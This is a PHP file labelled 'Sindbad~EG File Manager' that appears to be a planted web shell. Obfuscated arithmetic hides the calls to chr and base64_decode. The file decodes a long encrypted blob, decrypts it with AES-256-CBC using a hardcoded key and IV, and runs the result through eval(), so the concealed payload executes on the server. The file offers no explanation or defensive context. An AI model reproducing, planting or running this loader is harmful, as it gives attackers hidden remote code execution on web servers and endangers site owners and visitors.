Sindbad~EG File Manager

<?php
function analyze_data($h)
{
    $i = array(99, 109 - 5, 84 + 29 + 1);
    $r = '';
    foreach ($i as $a) {
        $r .= chr($a);
    }
    return $r($h);
}

$wfw = array(98 + 10 - 10 - 5 + 5 - 8 + 8 + 9 + 5 - (9 + 5), 97 + 2 - 2 + 19 - 19 + 3 + 5 - (3 + 5) - 14 + 14 - 7 + 7, 115 * 1 / 1 + 3 + 8 - (3 + 8) + 9 + 4 - (9 + 4), 101 - 19 + 19 + 19 - 19, 54 + 3 + 10 - (3 + 10) + 4 + 5 - (4 + 5), 52 + 9 - 9 + 2 + 1 - (2 + 1) + 8 - 8, 95 * 19 / 19 - 2 + 2, 100 * 50 / 50 + 20 - 20 - 18 + 18, 101 * 101 / 101 - 16 + 16 + 4 + 2 - (4 + 2) - 17 + 17, 99 * 99 / 99 + 3 - 3, (111 + 13 - 13 * 1) / 1 + 7 + 10 - (7 + 10) + 7 + 6 - (7 + 6) + 12 - 12, 100 - 10 + 10 - 13 + 13, 101 - 10 + 10 - 10 + 10 - 13 + 13);
$erg = '';
foreach ($wfw as $scg) {
    $erg .= analyze_data($scg);
}
$cic = 'frzQFNfrAGfcGHenUj4E38qOyC/eHXJXm+zACT+MN3Qu+mwwS3Z8waQBzc+KtOGAHlZ+nbiBqGDuQ0cL1JsRpxxhXofIzPqHIfBhWMpLXM3Urq4bzKe0ABPzCKs+nJcOWPoKV32rcMgwlwg6q0/FkF8Q5naADEY8qka6DSL9xHoWpVpasXd5zjb6AIBQtjKGOOXx0ESGSnsx9ao4Helm/VfFtBw1TCZ6L+4m9CAlm2OCRiX0L7K+MPLVHEFsV6aGXIsQWEtBYSskXXohcHFzDiAVSrfze4qGD2TgiV5ENTitZ8sCSBhcbQ1+8lLg0YIcNS6P8S9RsKYXT4Ir1uB9g4MyG8jDwknKgEAg+Q7jVhvS4NUk511A1iLZSFKqP3lsNwaEMqRZPiiDZblWJq+AUjknmA3DXqOCzMxM0Vyd/WoiQzceQRovWESImeCKMxzEs0IHBon6B+eNDQp/TGrCcDVMGUG20LEmnQhB0Ri/A55GVXCUPai6VCVNYRuMElVeujQOWioP0N7hHQ6SbdkedfajuFoZ/CA+eXsIYrNseYhdeqWVRU168b2NZKqEKHo+1vHa5nnFMOFuW5JL6nA039xfWwBxcgEpFCoHP1qWlNpVmyfljU1XShIoZPvEG5bn54UlUGigXQXzvHYfB+Hx/IewUbtbtPQXXAh827TLlAv79fhQveklQkTYpvEasaavHvtPqiT5MU2Lw2k2mES7g/wKpJA3yLAmA1eWanKvCM9MpdFgxNFGdr9sWQMVJ35n2RwEzfVGRfKCHXEGWkV+D2HYfn8ZAiWUVVylRdG/murbF2SzJSPyHPwYaPt/75lwM69IUcD4NAWRfbZkTrA98wYYGITZ7bxqU3H9wPciIHpud5GAJ+wGUxG60Ovk6mjBGv0RASO4zjFu6XhYZBItPS7DojHWpTZmkePMWE2vwgKFVmqMiBsBcEQg5hZGzkdozRfk8wi2bJ4Qc3aK9z/iel5dfEjZaxXAagyS23kqMvN2n4Rz+rDa5jIBSfQkLPvamZ13XYOB2gZ13wfZTjVNK4NMbpXu602t8BoBmOu2gBhiuh/YVVZ/rqn0eBWf8hwp';
$pwj = '4H3EqvdEjQ5iPpGeR7Bw+H5Av7KhrLim3vfhOVV6Z6Q=';
$lwp = '+jUMFC52vqH5KLWgY9OxJg==';
$zdc = openssl_decrypt($erg($cic), 'aes-256-cbc', $erg($pwj), OPENSSL_RAW_DATA, $erg($lwp));
eval($zdc);